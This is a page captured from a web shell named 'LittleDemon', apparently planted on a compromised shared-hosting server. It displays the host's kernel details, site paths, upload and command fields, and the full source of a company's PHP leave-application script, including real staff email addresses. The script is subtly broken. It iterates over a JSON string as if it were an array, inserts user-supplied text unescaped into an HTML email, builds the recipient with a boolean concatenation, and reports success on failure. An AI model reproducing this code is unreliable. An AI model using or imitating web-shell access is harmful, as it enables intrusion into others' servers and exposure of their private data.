LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/domains/task.urbanpillar.in/public_html/
File Upload :
Command :
Current File : /home/u901718425/domains/task.urbanpillar.in/public_html/apply_leave.php

<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;
require 'vendor/autoload.php';
require_once "db.php";

if (!isset($_SESSION['user_id'])) {
    http_response_code(403);
    echo json_encode(['error' => 'Unauthorized']);
    exit;
}

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    echo json_encode(['error' => 'Method Not Allowed']);
    exit;
}

$userId = $_SESSION['user_id'];
$leaveDatesRaw = $_POST['data'] ?? '';
$reason = trim($_POST['reason'] ?? '');
$leaveDates = json_decode($leaveDatesRaw, true);

if (!is_array($leaveDates) || empty($leaveDates) || $reason === '') {
    http_response_code(400);
    echo json_encode(['error' => 'Invalid input']);
    exit;
}

foreach ($leaveDates as $entry) {
    if (
        !isset($entry['date'], $entry['type']) ||
        !preg_match('/^\d{4}-\d{2}-\d{2}$/', $entry['date']) ||
        !in_array($entry['type'], ['WFH', 'Leave'])
    ) {
        http_response_code(400);
        echo json_encode(['error' => 'Invalid date or type in selection']);
        exit;
    }
}

$leaveDataJson = json_encode($leaveDates);

    $usedLeave = 0;
    $usedWFH = 0;
   
    foreach ($leaveDataJson as $entry) {
        if ($entry['type'] === 'Leave') $usedLeave++;
        if ($entry['type'] === 'WFH') $usedWFH++;
    }
    

    $remainingLeave = 10 - $usedLeave;
    $remainingWFH = 10 - $usedWFH;

    // Format leave summary (like in JS)
    $grouped = [];
    foreach ($leaveDates as $entry) {
        $type = $entry['type'];
        $date = $entry['date'];
        $grouped[$type][] = $date;
    }

    $summaryParts = [];
    $requestedLeave = 0;
    $requestedWFH = 0;

    foreach ($grouped as $type => $dates) {
        sort($dates);
        $formattedDays = array_map(function($d) {
            return date('j', strtotime($d));
        }, $dates);
        $monthYear = date('F Y', strtotime($dates[0]));
        $count = count($dates);
        if ($type === 'Leave') $requestedLeave = $count;
        if ($type === 'WFH') $requestedWFH = $count;
        $summaryParts[] = "$count $type on " . implode(', ', $formattedDays) . " $monthYear";
    }

    $summaryText = implode(", ", $summaryParts);

    // Construct email
    $subject = "Leave Application from ".$_SESSION['user_name'];
    // $message = "Dear HR,\n\n"
    //          . $_SESSION['user_name']." (".$_SESSION['email'].") has applied for leave.\n\n"
    //          . "Reason: $reason\n\n"
    //          . "Leave Summary:\n$summaryText\n\n"
    //          . "Used: $usedLeave Leave, $usedWFH WFH\n"
    //          . "Requested: $requestedLeave Leave, $requestedWFH WFH\n"
    //          . "Remaining: $remainingLeave Leave, $remainingWFH WFH\n\n"
    //          . "Regards,\nLeave Management System";
    
    $message = "
<html>
<head>
  <style>
    body { font-family: Arial, sans-serif; line-height: 1.6; }
    .section { margin-bottom: 15px; }
    .summary-table { border-collapse: collapse; width: 100%; }
    .summary-table th, .summary-table td { border: 1px solid #ddd; padding: 8px; text-align: left; }
    .summary-table th { background-color: #f2f2f2; }
  </style>
</head>
<body>
  <p>Dear HR,</p>

  <p><strong>{$_SESSION['user_name']}</strong> (<a href='mailto:{$_SESSION['email']}'>{$_SESSION['email']}</a>) has applied for leave.</p>

  <div class='section'>
    <strong>Reason:</strong> $reason
  </div>

  <div class='section'>
    <strong>Leave Summary:</strong><br>
    $summaryText
  </div>

  <div class='section'>
    <table class='summary-table'>
      <tr><th>Type</th><th>Used</th><th>Requested</th><th>Remaining</th></tr>
      <tr><td>Leave</td><td>$usedLeave</td><td>$requestedLeave</td><td>$remainingLeave</td></tr>
      <tr><td>WFH</td><td>$usedWFH</td><td>$requestedWFH</td><td>$remainingWFH</td></tr>
    </table>
  </div>

  <p>Regards,<br>Leave Management System</p>
</body>
</html>
";


    $to = "hr.pune@kaycomm.in".($_SESSION['email'] !== '' && ", ".$_SESSION['email']);
    // $to = "ashishgholap987@gmail.com";
    $cc = "saakshi.lodha@kaycomm.in";
    // $cc = "ashish@urbanpillar.com";

$mail = new PHPMailer(true);
try {
    $mail->setFrom($_SESSION['email'], $_SESSION['user_name']);
    $mail->addAddress($to);
    $mail->addCC($cc);
    $mail->isHTML(true);
    $mail->Subject = $subject;
    $mail->Body = $message;

    // Send and get Message-ID
    $mail->preSend();
    $messageId = $mail->getLastMessageID();
    $mail->send();

    // Save Message-ID in DB with leave record (update your insert to store it)
    $stmt = $conn->prepare("INSERT INTO leaves (user_id, leave_data_json, reason, status, message_id) VALUES (?, ?, ?, 'Pending', ?)");
    $stmt->bind_param('isss', $userId, $leaveDataJson, $reason, $messageId);
    $stmt->execute();

    echo json_encode(['success' => true, 'message' => 'Leave submitted and email sent.']);
} catch (Exception $e) {
    echo json_encode(['success' => true, 'message' => 'Leave submitted, but email failed to send.']);
}


LittleDemon - FACEBOOK
[ KELUAR ]